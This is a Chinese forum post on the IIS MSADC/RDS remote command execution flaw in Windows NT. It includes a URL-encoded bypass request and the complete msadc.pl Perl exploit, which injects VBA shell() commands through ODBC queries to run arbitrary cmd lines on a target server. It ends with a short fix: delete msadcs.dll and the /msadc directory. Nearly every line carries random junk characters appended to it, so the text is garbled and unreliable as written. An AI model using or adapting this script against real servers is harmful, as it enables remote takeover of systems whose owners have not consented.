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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *6JA&zj0B  
/ 0$ !.  
涉及程序: '&Ur(axs  
Microsoft NT server (bm> )U=  
Dp ['U  
描述: Pjq'c+4.yL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 9ad`q+kY  
xkf2;  
详细: f)vnm*&-  
如果你没有时间读详细内容的话,就删除: xS,F DPA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #Q2s3 "X[  
有关的安全问题就没有了。 XK~HfA?  
USART}Us4  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 jR\pYRK  
/%&5Iq\:vA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 6[t(FcS  
关于利用ODBC远程漏洞的描述,请参看: 7 @\i5  
p` ~=v4;b  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "3_X$`v"!  
t=lDN'\P  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 w[a(I} x  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5_A*I C]  
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这里不再论述。 ( x% 4*  
h_-4Q"fb(  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: FVNTE +LW  
S/Ic=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ebEI%8p g  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .3) 27Cjw  
\e'Vsy>q  
!4v>|tq!  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Ot.v%D`e 5  
]@y%j'e  
#!perl 3L2NenJB  
# Y'1 KH}sH  
# MSADC/RDS 'usage' (aka exploit) script L5UZ@R,  
# !Th5x2  
# by rain.forest.puppy bOU"s>?  
# Sa)sDf1+`  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me _zbIS&4  
# beta test and find errors! ,J2qLH1  
Q~.t8g/  
use Socket; use Getopt::Std; ~(*tcs]hY  
getopts("e:vd:h:XR", \%args); +DQUL|\  
8@ f!,!Wn  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \v+>qY<q  
&g}P)x r  
if (!defined $args{h} && !defined $args{R}) { {Zw;<1{E  
print qq~ z 3[J sE%  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ;\|GU@K{hC  
-h <host> = host you want to scan (ip or domain) v`L]dY4,  
-d <seconds> = delay between calls, default 1 second M8:i]   
-X = dump Index Server path table, if available D,*|:i  
-v = verbose W.s8!KH:  
-e = external dictionary file for step 5 R68:=E4  
W3ms8=z  
Or a -R will resume a command session s;Bh69  
]'n4e*  
~; exit;} YeT{<9p  
K%`]HW@I{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; C ]B P}MY<  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} qh W]Wd" g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \{Q_\s&)  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Z[&FIG% tV  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} P )oNNY6}  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Y(aUB$"  
PN99 R]K0g  
if (!defined $args{R}){ $ret = &has_msadc; #|+4`Gf^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tf54EIy5Y  
Q "NZE  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" f.j<VKF}  
. "cmd /c "; A ?tna6W:  
$in=<STDIN>; chomp $in; A|K=>7n]U  
$command="cmd /c " . $in ; h$sOJs~6h  
GwXhn2  
if (defined $args{R}) {&load; exit;} "] 2^O  
MrUjqv6a[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; =!DX,S7  
&try_btcustmr; [So1`IA6  
n>,GmCo  
print "\nStep 2: Trying to make our own DSN..."; m<#^c?u  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; atd;)o0*0  
,j{tGj_  
print "\nStep 3: Trying known DSNs..."; EF$ASNh"  
&known_dsn; Q3hSWXq'  
]5@n`;&#.  
print "\nStep 4: Trying known .mdbs..."; OpazWcMoo  
&known_mdb; a0k;way  
]iW:YNvXA  
if (defined $args{e}){ QoUdTIIL  
print "\nStep 5: Trying dictionary of DSN names..."; _R]0S  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }M(xN6E  
qGhg?u"n:  
print "Sorry Charley...maybe next time?\n"; WqM| nX  
exit; i/C% 1<  
cGm?F,/`  
############################################################################## [;yH.wn#5  
V=fh;p  
sub sendraw { # ripped and modded from whisker AB3OG*C9  
sleep($delay); # it's a DoS on the server! At least on mine... sMVk]Mb  
my ($pstr)=@_; WZHw(BN{+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8JQ\eF$ma  
die("Socket problems\n"); B1FJAKI);  
if(connect(S,pack "SnA4x8",2,80,$target)){ +-),E.  
select(S); $|=1; :J @3:+sr  
print $pstr; my @in=<S>; `#W+pO  
select(STDOUT); close(S); I YtiX  
return @in; F#L1~\7  
} else { die("Can't connect...\n"); }} %2b^t*CQ  
)l! /7WKY  
############################################################################## 1_!?wMo:f  
:_xfi9L~W0  
sub make_header { # make the HTTP request 7f k)a  
my $msadc=<<EOT ~a4Y8r  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ex`T 9j.=B  
User-Agent: ACTIVEDATA pl[@U<8aw  
Host: $ip F =*4] O  
Content-Length: $clen }%PK %/ zI  
Connection: Keep-Alive o_b3G  
rZ n@i  
ADCClientVersion:01.06 F_-xp1|  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 8oI|Z=  
/;}%E  
--!ADM!ROX!YOUR!WORLD! J2 )h":2  
Content-Type: application/x-varg ?%~^PHgZ|  
Content-Length: $reqlen L#'XN H"  
Gt?l 2s  
EOT 32HF&P+0%  
; $msadc=~s/\n/\r\n/g; .`_iWfK  
return $msadc;} i5Sya]FN  
8!.V`|@lt  
############################################################################## |By[ev"Kh%  
%,~\,+NP  
sub make_req { # make the RDS request $mAC8a_Zu  
my ($switch, $p1, $p2)=@_; iFI+W<QR  
my $req=""; my $t1, $t2, $query, $dsn; f@Jrbg  
?M|1'`!c8  
if ($switch==1){ # this is the btcustmr.mdb query {irc~||4  
$query="Select * from Customers where City=" . make_shell(); &b^~0Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . l"+8>Mm  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} QnP3U  
%x{kd8>u!  
elsif ($switch==2){ # this is general make table query / yBrlf  
$query="create table AZZ (B int, C varchar(10))"; /W*Z.  
$dsn="$p1";} k]$oir  
-n[(0n3c  
elsif ($switch==3){ # this is general exploit table query } )L z%Z  
$query="select * from AZZ where C=" . make_shell(); 7$g$p&,VX  
$dsn="$p1";} w1-P6cf  
/i27F2NQm  
elsif ($switch==4){ # attempt to hork file info from index server Nc4;2~XwRp  
$query="select path from scope()"; J]Z~.f="  
$dsn="Provider=MSIDXS;";} &)+H''JY  
JN9>nC!Zy_  
elsif ($switch==5){ # bad query [mjie1j/<  
$query="select"; #| ,cy,v4  
$dsn="$p1";} H I_uR$m  
vC@^B)5gb  
$t1= make_unicode($query);  iKd+AzT  
$t2= make_unicode($dsn); #O;JV}y  
$req = "\x02\x00\x03\x00"; rq!*unJ  
$req.= "\x08\x00" . pack ("S1", length($t1)); a9p:k ]{  
$req.= "\x00\x00" . $t1 ; ! #! MTk  
$req.= "\x08\x00" . pack ("S1", length($t2)); ILAn2W  
$req.= "\x00\x00" . $t2 ; 2IM 31 .  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 7p]Izx8][  
return $req;} U'9z.2"}9  
>l AtfN='  
############################################################################## w$9LcN  
2YKa <?_  
sub make_shell { # this makes the shell() statement  &qdhxc4  
return "'|shell(\"$command\")|'";} A&Aj!#  
S:}"gwFM  
############################################################################## &*7KQd  
9NU0K2S  
sub make_unicode { # quick little function to convert to unicode p$|7T31 *  
my ($in)=@_; my $out; eZU9L/w:  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } -j]k^  
return $out;} m#8 PX$_  
]7K2S{/o{  
############################################################################## %EVgSF!r  
D@68_sn  
sub rdo_success { # checks for RDO return success (this is kludge) O8bxd6xb  
my (@in) = @_; my $base=content_start(@in); w5%i  
if($in[$base]=~/multipart\/mixed/){ =HsE:@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Q*%}w_D6f  
return 0;} kUS]g r~i  
2 HQ3G~U  
############################################################################## LYRpd  
HrsG^x  
sub make_dsn { # this makes a DSN for us #L+:MA7H  
my @drives=("c","d","e","f"); h,m 90Hd+  
print "\nMaking DSN: "; r <5}& B`  
foreach $drive (@drives) { `a MU2  
print "$drive: "; 9>9EZ?4m  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fM"*;LN!N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  =s4(Y  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Lm2!<<<  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; A|+QUPD  
return 0 if $2 eq "404"; # not found/doesn't exist /IRXk[  
if($2 eq "200") { n:`f.jG |  
foreach $line (@results) { [ C0v -  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 9ZJ 8QH  
} return 0;} \z0HHCn'"  
9K`_P] l2z  
############################################################################## ?BfE*I$\h  
(V jU,'h  
sub verify_exists { `2@.%s1o=  
my ($page)=@_; X@DW1<wEt  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2,q*[Kh1  
return $results[0];} 9ET1Er{4  
0(eaVi-%D  
############################################################################## vsj4? 0=  
gd*Gn"  
sub try_btcustmr { b@;Wh-{d  
my @drives=("c","d","e","f"); [TFJb+N&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); h.PBe  
Q&I`uS=F  
foreach $dir (@dirs) { ,.W7Z~z  
print "$dir -> "; # fun status so you can see progress .M^[/!  
foreach $drive (@drives) { tWIJ,_8l  
print "$drive: "; # ditto ciS,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; =zyA~}M2  
$reqlenlen=length( "$reqlen" ); <R /\nYXz  
$clen= 206 + $reqlenlen + $reqlen; >UaQ7CRo  
/gZyl|kdy  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Df^F)\7!N?  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} '&![h7B  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~pQN#C)CO>  
/qX?ca1_4^  
############################################################################## 'V]&X.=zC  
"GK9Y  
sub odbc_error { ^E.L8  
my (@in)=@_; my $base; !o /=,ZIx  
my $base = content_start(@in); Eu`|8# [ W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this + GI906K  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rKrHd  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; f 5v&4  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k9;^|Cm k  
return $in[$base+4].$in[$base+5].$in[$base+6];} =+!l8o&o,  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3OZPy|".ax  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . K] (*l"'U5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K"0IWA  
 ;v:(  
############################################################################## {?H5Pw>{%h  
;KlYiu  
sub verbose { hWT jN  
my ($in)=@_; Ku75YFO,5  
return if !$verbose; qcj {rG18  
print STDOUT "\n$in\n";} -[=eVS.2%  
CBEf;I g  
############################################################################## pUXoSnIq:  
2jFuF71  
sub save { u S1O-Q>  
my ($p1, $p2, $p3, $p4)=@_; @x}"aJgl  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; kyJbV[o<#  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; "Wwu Ty|  
close OUT;} p%3z*2,(  
RSp wU;o6z  
############################################################################## .$18%jH#  
q<dG}aj  
sub load { *5%vU|9b  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; nF,F#V8l  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); $eYL|?P50h  
@p=<IN>; close(IN); KC6Cg?y^  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); lvO6&sF1  
$target= inet_aton($ip) || die("inet_aton problems"); lT|Gkm<G  
print "Resuming to $ip ..."; ITn%  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; K oJ=0jM#  
if($p[1]==1) { zw>L0gC  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; )XN_|zCk  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ?*fY$93O  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); vk92j?  
if (rdo_success(@results)){print "Success!\n";} b6N[t _,  
else { print "failed\n"; verbose(odbc_error(@results));}} S(zp_  
elsif ($p[1]==3){ ;Bs~E  
if(run_query("$p[3]")){ h1w({<q*ov  
print "Success!\n";} else { print "failed\n"; }} l6/VJ~(}'  
elsif ($p[1]==4){ K92j BR  
if(run_query($drvst . "$p[3]")){ 1!<t8,W4  
print "Success!\n"; } else { print "failed\n"; }} @8|*Ndx2  
exit;} s?w2^<P  
|C [!A  
############################################################################## q!$s<n  
]vvYPRV76  
sub create_table { 94"+l@K  
my ($in)=@_; .AfZ5s]/F  
$reqlen=length( make_req(2,$in,"") ) - 28; 7Y5r3a}%  
$reqlenlen=length( "$reqlen" ); [.gk{> #  
$clen= 206 + $reqlenlen + $reqlen; vd%g'fTy9  
my @results=sendraw(make_header() . make_req(2,$in,"")); n)e2?  
return 1 if rdo_success(@results); LhJUoX  
my $temp= odbc_error(@results); verbose($temp); srGOIK.  
return 1 if $temp=~/Table 'AZZ' already exists/; (pxH<k=Ah  
return 0;} .kT]^rv ;  
7n7Xyb  
############################################################################## K^u,B3  
V`Cy x^P  
sub known_dsn { tbFAVGcAM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go sQJ\{'g  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u m9yO'[C  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 'Gy`e-yB  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); _U s"   
0:$ }~T9T  
foreach $dSn (@dsns) { uJw?5kEbv<  
print "."; xXe3E&  
next if (!is_access("DSN=$dSn")); mZ+!8$1X  
if(create_table("DSN=$dSn")){ @ ^{`!>Vt  
print "$dSn successful\n"; XO+BZB`F  
if(run_query("DSN=$dSn")){ M/N8bIC! Q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Q{l,4P  
print "Something's borked. Use verbose next time\n";}}} print "\n";} bA^uzE  
_~<sb,W  
############################################################################## e"E8BU  
uvId],dQ5  
sub is_access { A)f-r  
my ($in)=@_; 8q^}AT<C  
$reqlen=length( make_req(5,$in,"") ) - 28; dli(ckr  
$reqlenlen=length( "$reqlen" ); (` *BZ_  
$clen= 206 + $reqlenlen + $reqlen; yw^Pok5.  
my @results=sendraw(make_header() . make_req(5,$in,"")); n1sYD6u<&  
my $temp= odbc_error(@results); pbH!u+DF  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); wQhNQ(H~\  
return 0;} Cj-s  
,mHME~  
############################################################################## Y^fw37b  
-DI >O/  
sub run_query { nK>CPqB^(  
my ($in)=@_; YX$(Sc3.6  
$reqlen=length( make_req(3,$in,"") ) - 28; $ev+0m_  
$reqlenlen=length( "$reqlen" ); Bqf(6\)F  
$clen= 206 + $reqlenlen + $reqlen; &<A,\ M  
my @results=sendraw(make_header() . make_req(3,$in,"")); C[J9 =!t  
return 1 if rdo_success(@results); -D`1z?zHra  
my $temp= odbc_error(@results); verbose($temp); qSY\a\.<  
return 0;} /<rvaR  
J"`VA_[  
############################################################################## @<\oM]jX  
giakEPl  
sub known_mdb { YYWD\Y`8  
my @drives=("c","d","e","f","g"); k@4N7}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F&d!fEHU  
my $dir, $drive, $mdb; U=Ps#  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .j]tzX  
i|eX X)$  
# this is sparse, because I don't know of many X +`Dg::  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Na0^csPm  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", +kL7"  
"\\system32\\certmdb.mdb", r w?wi}}gn  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 6jq*lnA%  
aU!}j'5Q  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", IZZAR  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^'`b\$km-0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", )|~K&qn`  
"\\cfusion\\cfapps\\security\\realm_.mdb", =7 l uV_5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Y2`sL,'h  
"\\cfusion\\database\\cfexamples.mdb", I dK*IA4  
"\\cfusion\\database\\cfsnippets.mdb", Y~"tL(WfJl  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", gIB3DuUo  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Od!)MQ*,  
"\\cfusion\\brighttiger\\database\\cleam.mdb", IWv 9!lW  
"\\cfusion\\database\\smpolicy.mdb", pN9!  
"\\cfusion\\database\cypress.mdb", z?byNd8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", irt9%w4"  
"\\website\\cgi-win\\dbsample.mdb", & NYaKu,}  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", JW>k8QjyN  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" CI W4E  
); #these are just 6.@.k  
foreach $drive (@drives) { m{IlRf'  
foreach $dir (@dirs){ zMSwU]4I!  
foreach $mdb (@sysmdbs) { `B %%2p&  
print "."; v;,W ^#`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ F2N"aQ&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; "n%j2"TYJj  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){  u r$  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; x@NfN*?/+i  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 7-744wV}Z  
(\6E.Z#  
foreach $drive (@drives) { K9N31'  
foreach $mdb (@mdbs) { _^iY;&  
print "."; *!QmYH5r0  
if(create_table($drv . $drive . $dir . $mdb)){ Ip t;NlR  
print "\n" . $drive . $dir . $mdb . " successful\n"; 1eI*.pt  
if(run_query($drv . $drive . $dir . $mdb)){ @Jd&[T27Lr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *AH `ob}  
} else { print "Something's borked. Use verbose next time\n"; }}}} 4|x _C-@  
} t&?jJ7 (&8  
4C;;V m4~  
############################################################################## Fb,*;M1'  
#}7T$Va  
sub hork_idx { HPtMp#`T  
print "\nAttempting to dump Index Server tables...\n"; W@R7CQE@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 72nZ`u  
$reqlen=length( make_req(4,"","") ) - 28; ChiIQWFE  
$reqlenlen=length( "$reqlen" ); <B6md i'R  
$clen= 206 + $reqlenlen + $reqlen; EyK!'9~a  
my @results=sendraw2(make_header() . make_req(4,"","")); M5I`i{Gw  
if (rdo_success(@results)){ '\bokwsP  
my $max=@results; my $c; my %d; mERkC,$  
for($c=19; $c<$max; $c++){ Cy-p1s  
$results[$c]=~s/\x00//g; hz/mNDE]  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; U$y 9f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G&oD;NY@/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; m` 1dB%;?  
$d{"$1$2"}="";}  Xu-~j!  
foreach $c (keys %d){ print "$c\n"; } aO{@.  
} else {print "Index server doesn't seem to be installed.\n"; }} j@xIa-{*  
bxa>:71  
############################################################################## ffP]U4  
rN1]UaT  
sub dsn_dict { ; hQ[-  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A@?0(  
while(<IN>){ @b(@`yz.a  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; wDvu2iC=  
next if (!is_access("DSN=$dSn")); OY1bFIE  
if(create_table("DSN=$dSn")){ { j_-iF  
print "$dSn successful\n"; ]xRR/S4  
if(run_query("DSN=$dSn")){ i!YfR]"}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _hY6 NMw  
print "Something's borked. Use verbose next time\n";}}} 4Sh8w%s  
print "\n"; close(IN);} ip?]&5s  
qJG;`Ugl:  
############################################################################## xP\s^]e  
#$UwJB]_D  
sub sendraw2 { # ripped and modded from whisker onu G  
sleep($delay); # it's a DoS on the server! At least on mine... d/  Lz"  
my ($pstr)=@_; 5( <O?#P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ';R]`vWFe  
die("Socket problems\n"); QGN+f)  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2TGND-(j  
print "Connected. Getting data"; !Q\*a-C  
open(OUT,">raw.out"); my @in; (BY 0b%^  
select(S); $|=1; print $pstr; lJ3VMYVrUP  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} @ lB{!j&q  
close(OUT); select(STDOUT); close(S); return @in; i ;B^I8  
} else { die("Can't connect...\n"); }} WN]k+0#  
`)cI^!  
############################################################################## HS |Gz3~  
_i>_Sn1"  
sub content_start { # this will take in the server headers `,4yGgD!4  
my (@in)=@_; my $c; q{h,}[U=  
for ($c=1;$c<500;$c++) { !SuflGx,q  
if($in[$c] =~/^\x0d\x0a/){ <VZ43I  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0[UI'2  
else { return $c+1; }}} g;Ugr8  
return -1;} # it should never get here actually //NV_^$y  
k (AE%eA  
############################################################################## [pU(z'caS  
-W!M:8  
sub funky { KTYjC\\G  
my (@in)=@_; my $error=odbc_error(@in); X>$Wf3  
if($error=~/ADO could not find the specified provider/){ $6m@gW]N  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; vyS>3(NZ  
exit;} = cRmaD  
if($error=~/A Handler is required/){ 2Pb+/1*ix  
print "\nServer has custom handler filters (they most likely are patched)\n"; kk5&lak2V  
exit;} }"+"nf5h  
if($error=~/specified Handler has denied Access/){ e/hCYoS1n  
print "\nServer has custom handler filters (they most likely are patched)\n"; G^{~'TZv%  
exit;}} "d<uc j  
6"iNh)  
############################################################################## #pZeGI|'J  
_1)n_P4  
sub has_msadc { A@o7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .4]XR/I$  
my $base=content_start(@results); A$p&<#  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); z#G\D5yX[*  
return 0;} ~ AD>@;8fG  
Y nnK]N;\x  
######################## -`8@  
}Rz,}^B  
G9Xkim Q'  
解决方案: m?wQk:Y1  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Q>Ct]JW&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 N5)H(<}  
>!Gq[i0  
拿出来充数 哈哈
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